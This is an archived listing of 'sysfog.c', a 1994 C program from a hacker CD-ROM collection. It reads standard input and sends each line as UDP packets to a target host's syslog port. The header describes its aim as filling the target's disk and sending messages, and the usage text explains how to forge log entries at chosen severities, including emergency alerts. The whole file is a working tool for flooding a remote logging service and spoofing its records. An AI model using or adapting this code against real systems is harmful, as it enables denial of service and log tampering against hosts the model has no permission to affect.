home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / sysfog.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  3KB  |  83 lines

  1. /**************************************************************************
  2.    SYSLOG Fogger - Fill Disk Space, Send Messages, Whatever.
  3.  
  4.   v1.1 - Written by Matt (panzer@dhp.com) During a boring day, 12 Oct 1994.
  5.      Much code is stolen from "Unix Network Programming"
  6.      by W. Richard Stevens.  Buy it if you don't have it.
  7.  **************************************************************************/
  8. #include <stdio.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netinet/in.h>
  12. #include <arpa/inet.h>
  13.  
  14. #define MAXLINE 512
  15.  
  16. dg_cli(fp, sockfd, pserv_addr, servlen)
  17.  FILE *fp;
  18.  int sockfd;
  19.  struct sockaddr *pserv_addr;
  20.  int servlen;
  21. {
  22.   int n;
  23.   char sendline[MAXLINE], recvline[MAXLINE+1];
  24.  
  25.   while(fgets(sendline, MAXLINE, fp) != NULL) {
  26.     n = strlen(sendline);
  27.     if (sendto(sockfd, sendline, n, 0, pserv_addr, servlen) != n) {
  28.       fprintf(stderr,"dg_cli: sendto error on socket\n");exit(1);}
  29.   }
  30.   if (ferror(fp)) {
  31.     fprintf(stderr,"dg_cli: error reading file\n");exit(1);}
  32. }
  33.  
  34. main(argc, argv)
  35. int argc;
  36. char *argv[];
  37. {
  38.   int sockfd;
  39.   struct sockaddr_in serv_addr, cli_addr;
  40.  
  41.   if (argc != 2) {
  42.     printf("\nSYSFOG v1.1  -  (written by panzer@dhp.com)\n");
  43.     printf("Usage: %s target-ip-number\n",argv[0]);
  44.     printf("\n-- Reads STDIN, sends to \"target-ip-numbers\" ");
  45.     printf("syslog daemon.\n");
  46.     printf("To send certain types of messages, use the number found\n");
  47.     printf("below in brackets.  IE, \"<0>This is a LOG_EMERG\"\n");
  48.     printf("-----------------------------------------------------------\n");
  49.     printf("From SUNOS /usr/include/syslog.h\n");
  50.     printf("-----------------------------------------------------------\n");
  51.     printf("LOG_EMERG     0    /* system is unusable */\n");
  52.     printf("LOG_ALERT     1    /* action must be taken immediately */\n");
  53.     printf("LOG_CRIT      2    /* critical conditions */\n");
  54.     printf("LOG_ERR       3    /* error conditions */\n");
  55.     printf("LOG_WARNING   4    /* warning conditions */\n");
  56.     printf("LOG_NOTICE    5    /* normal but signification condition */\n");
  57.     printf("LOG_INFO      6    /* informational */\n");
  58.     printf("LOG_DEBUG     7    /* debug-level messages */\n");
  59.     printf("-----------------------------------------------------------\n\n");
  60.     exit(0);
  61.   }
  62.   bzero((char *) &serv_addr, sizeof(serv_addr));
  63.   serv_addr.sin_family = AF_INET;
  64.   serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
  65.   serv_addr.sin_port = htons(514);
  66.  
  67.   /* Open UDP socket */
  68.   if ((sockfd=socket(AF_INET, SOCK_DGRAM,0)) <0) { 
  69.     fprintf(stderr,"sysfog: Can't open UDP Socket\n");exit(1);}
  70.  
  71.   bzero((char *) &cli_addr, sizeof(cli_addr));
  72.   cli_addr.sin_family = AF_INET;
  73.   cli_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  74.   cli_addr.sin_port = htons(0);
  75.   if (bind(sockfd, (struct sockaddr *) &cli_addr, sizeof(cli_addr)) <0) {
  76.     fprintf(stderr,"sysfog: Can't bind local address\n");exit(1);}
  77.  
  78.   dg_cli(stdin, sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
  79.  
  80.   close(sockfd);
  81.   exit(0);
  82. }
  83.